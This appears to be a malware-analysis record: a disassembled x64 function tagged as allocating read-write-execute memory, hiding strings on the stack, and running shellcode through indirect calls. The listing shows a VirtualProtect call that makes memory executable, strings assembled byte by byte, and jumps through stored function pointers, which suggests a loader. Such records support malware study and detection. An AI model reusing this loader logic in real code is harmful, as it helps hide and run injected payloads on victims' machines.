Function at 0x180001350
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x3b8]
sub rsp, 0x4b8
mov rbx, rcx
mov rcx, qword [0x180007030]
xor edi, edi
lea rsi, [0x1800012e0]
test rcx, rcx
je 0x180001428
test edx, edx
jne 0x1800013ea
xor edx, edx
cmp dword [0x18000707c], 1
mov qword [rbp - 0x68], rdx
mov qword [rbp - 0x60], rdx
jne 0x1800013db
mov rax, qword [0x180007028]
test rax, rax
je 0x1800013bd
lea r9, [0x1800012a0]
mov r8d, edx
mov qword [rsp + 0x20], rsi
call rax
cmp dword [0x18000707c], 1
jne 0x1800013db
mov edx, dword [0x1800071f0]
mov rcx, qword [0x1800071e8]
lea r9, [rsp + 0x40]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x180007030], rdi
mov dword [0x18000707c], edi
jmp 0x180001430
mov rax, qword [0x180007060]
test rax, rax
je 0x180001674
mov r8d, dword [rbx + 0x404]
mov edx, dword [rbx + 0x400]
lea rsi, [0x1800012e0]
lea r9, [0x1800012a0]
mov qword [rsp + 0x20], rsi
call rax
add rsp, 0x4b8
pop rdi
pop rsi
pop rbx
pop rbp
ret
test edx, edx
jne 0x180001674
cmp dword [rbx + 0x418], edi
je 0x180001685
xor eax, eax
lea rcx, [rbp - 0x4f]
xor edx, edx
mov r8d, 0xff
mov qword [rsp + 0x4b0], r15
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x51], rax
mov qword [rsp + 0x59], rax
mov qword [rsp + 0x61], rax
mov qword [rsp + 0x69], rax
mov qword [rsp + 0x71], rax
mov qword [rsp + 0x79], rax
mov qword [rbp - 0x7f], rax
mov dword [rbp - 0x77], eax
mov word [rbp - 0x73], ax
mov byte [rbp - 0x71], al
mov byte [rbp - 0x50], al
call sub.msvcrt.dll_memset
mov r8, qword [0x180007038]
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp - 0x50]
add r8, 4
mov dword [rbp + 0x3f8], 0x7825
call fcn.180002380
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.180004310
lea r8, [rsp + 0x38]
lea rcx, [rbp + 0xb0]
mov edx, 0x100
mov dword [rsp + 0x38], 0x61636f4c
mov word [rsp + 0x3c], 0x5c6c
mov byte [rsp + 0x3e], dil
mov dword [rsp + 0x30], 0x4e565354
mov byte [rsp + 0x34], dil
mov word [rbp + 0x3f0], 0x7325
mov byte [rbp + 0x3f2], dil
call qword [sym.imp.msvcrt.dll_strcpy_s]
lea r8, [rsp + 0x30]
lea rcx, [rbp + 0xb0]
mov edx, 0x100
call qword [sym.imp.msvcrt.dll_strcat_s]
lea r8, [rbp + 0x3f0]
lea rcx, [rbp + 0xb0]
mov edx, 0x100
call qword [sym.imp.msvcrt.dll_strcat_s]
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x50]
call fcn.180002380
lea rcx, [rbp + 0x1b2]
xor edx, edx
mov r8d, 0x1fe
mov word [rbp + 0x1b0], di
call sub.msvcrt.dll_memset
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp - 0x50]
call fcn.1800035a0
mov r15, rax
test rax, rax
je 0x1800015cc
mov rcx, rax
mov qword [rsp + 0x4e0], r14
call fcn.1800034e0
mov r14, rax
test rax, rax
je 0x1800015bb
lea r8, [0x180007028]
lea rdx, [0x180007060]
mov rcx, rax
call fcn.180004c10
mov rcx, r14
mov qword [0x180007030], rax
call fcn.180003540
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x4e0]
cmp qword [0x180007030], rdi
mov r15, qword [rsp + 0x4b0]
je 0x180001685
cmp qword [0x180007060], rdi
je 0x180001660
mov ecx, dword [rbx + 0x400]
call section..text
mov r8d, dword [rbx + 0x404]
mov edx, dword [rbx + 0x400]
mov rcx, qword [0x180007030]
lea r9, [0x1800012a0]
mov qword [rsp + 0x20], rsi
call qword [0x180007060]
test eax, eax
jne 0x180001644
cmp dword [rbx + 0x418], edi
je 0x18000162c
call fcn.180004e90
mov qword [0x180007030], rdi
mov eax, 5
add rsp, 0x4b8
pop rdi
pop rsi
pop rbx
pop rbp
ret
cmp dword [rbx + 0x418], edi
setne dil
mov dword [0x18000707c], edi
add rsp, 0x4b8
pop rdi
pop rsi
pop rbx
pop rbp
ret
cmp dword [rbx + 0x418], edi
je 0x18000166d
call fcn.180004e90
mov qword [0x180007030], rdi
mov eax, 3
add rsp, 0x4b8
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov eax, 4
add rsp, 0x4b8
pop rdi
pop rsi
pop rbx
pop rbp
ret